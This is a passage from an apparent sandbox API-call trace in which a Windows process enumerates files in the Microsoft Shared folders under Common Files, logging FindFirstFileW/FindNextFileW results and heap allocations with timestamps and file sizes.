lpMem=0x4f5b80 | out: hHeap=0x470000) returned 1 [0077.585] FindNextFileW (in: hFindFile=0x3255240, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EURO", cAlternateFileName="")) returned 1 [0077.585] GetProcessHeap () returned 0x470000 [0077.585] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x4f5b80 [0077.585] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\*", lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32552c0 [0077.587] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.587] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 1 [0077.587] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 0 [0077.587] FindClose (in: hFindFile=0x32552c0 | out: hFindFile=0x32552c0) returned 1 [0077.587] GetProcessHeap () returned 0x470000 [0077.587] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x4f5b80 | out: hHeap=0x470000) returned 1 [0077.587] FindNextFileW (in: hFindFile=0x3255240, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Filters", cAlternateFileName="")) returned 1 [0077.587] GetProcessHeap () returned 0x470000 [0077.587] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x4f5b80 [0077.587] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\*", lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32552c0 [0077.589] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.589] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x9770, dwReserved0=0x0, dwReserved1=0x0, cFileName="msgfilt.dll", cAlternateFileName="")) returned 1 [0077.589] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x6b29d7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x140790, dwReserved0=0x0, dwReserved1=0x0, cFileName="odffilt.dll", cAlternateFileName="")) returned 1 [0077.589] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x16af90, dwReserved0=0x0, dwReserved1=0x0, cFileName="offfiltx.dll", cAlternateFileName="")) returned 1 [0077.589] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 1 [0077.589] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 0 [0077.589] FindClose (in: hFindFile=0x32552c0 | out: hFindFile=0x32552c0) returned 1 [0077.590] GetProcessHeap () returned 0x470000 [0077.590] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x4f5b80 | out: hHeap=0x470000) returned 1 [0077.590] FindNextFileW (in: hFindFile=0x3255240, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRPHFLT", cAlternateFileName="")) returned 1 [0077.590] GetProcessHeap () returned 0x470000 [0077.590] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x4f5b80 [0077.590] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*", lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32552c0 [0077.593] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.593] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x1a9b, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.CFG", cAlternateFileName="")) returned 1 [0077.593] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfda4ec00, ftCreationTime.dwHighDateTime=0x1cba021, ftLastAccessTime.dwLowDateTime=0xc22488c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfda4ec00, ftLastWriteTime.dwHighDateTime=0x1cba021, nFileSizeHigh=0x0, nFileSizeLow=0x4f160, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.FLT", cAlternateFileName="")) returned 1 [0077.594] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x93f6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.FNT", cAlternateFileName="")) returned 1 [0077.594] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0xadf90, dwReserved0=0x0, dwReserved1=0x0, cFileName="EPSIMP32.FLT", cAlternateFileName="")) returned 1 [0077.594] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x4e380, dwReserved0=0x0, dwReserved1=0x0, cFileName="GIFIMP32.FLT", cAlternateFileName="")) returned 1 [0077.594] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x3ad80, dwReserved0=0x0, dwReserved1=0x0, cFileName="JPEGIM32.FLT", cAlternateFileName="")) returned 1 [0077.594] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x774, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.CGM", cAlternateFileName="")) returned 1 [0077.594] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x3adb, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.EPS", cAlternateFileName="")) returned 1 [0077.594] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x42d, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.GIF", cAlternateFileName="")) returned 1 [0077.594] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x425, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.JPG", cAlternateFileName="")) returned 1 [0077.595] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x692, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.PNG", cAlternateFileName="")) returned 1 [0077.595] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WPG", cAlternateFileName="")) returned 1 [0077.595] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x11d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="PICTIM32.FLT", cAlternateFileName="")) returned 1 [0077.595] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x49f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="PNG32.FLT", cAlternateFileName="")) returned 1 [0077.595] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 1 [0077.595] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 0 [0077.595] FindClose (in: hFindFile=0x32552c0 | out: hFindFile=0x32552c0) returned 1 [0077.596] GetProcessHeap () returned 0x470000 [0077.596] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x4f5b80 | out: hHeap=0x470000) returned 1 [0077.596] FindNextFileW (in: hFindFile=0x3255240, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1 [0077.597] GetProcessHeap () returned 0x470000 [0077.597] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x4f5b80 [0077.597] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\*", lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32552c0 [0077.597] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.597] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x60d54030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x133200, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxds.dll", cAlternateFileName="")) returned 1 [0077.597] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3e47200, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x522dc930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe3e47200, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x1bf200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ITIRCL55.DLL", cAlternateFileName="")) returned 1 [0077.597] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msitss55.dll", cAlternateFileName="")) returned 1 [0077.598] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msitss55.dll", cAlternateFileName="")) returned 0 [0077.598] FindClose (in: hFindFile=0x32552c0 | out: hFindFile=0x32552c0) returned 1 [0077.598] GetProcessHeap () returned 0x470000 [0077.598] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x4f5b80 | out: hHeap=0x470000) returned 1 [0077.598] FindNextFileW (in: hFindFile=0x3255240, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ink", cAlternateFileName="")) returned 1 [0077.598] GetProcessHeap () returned 0x470000 [0077.598] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x4f5b80 [0077.598] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*", lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32552c0 [0077.598] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.598] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2bbccc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c2bbccc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc1486, dwReserved0=0x0, dwReserved1=0x0, cFileName="Alphabet.xml", cAlternateFileName="")) returned 1 [0077.598] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, 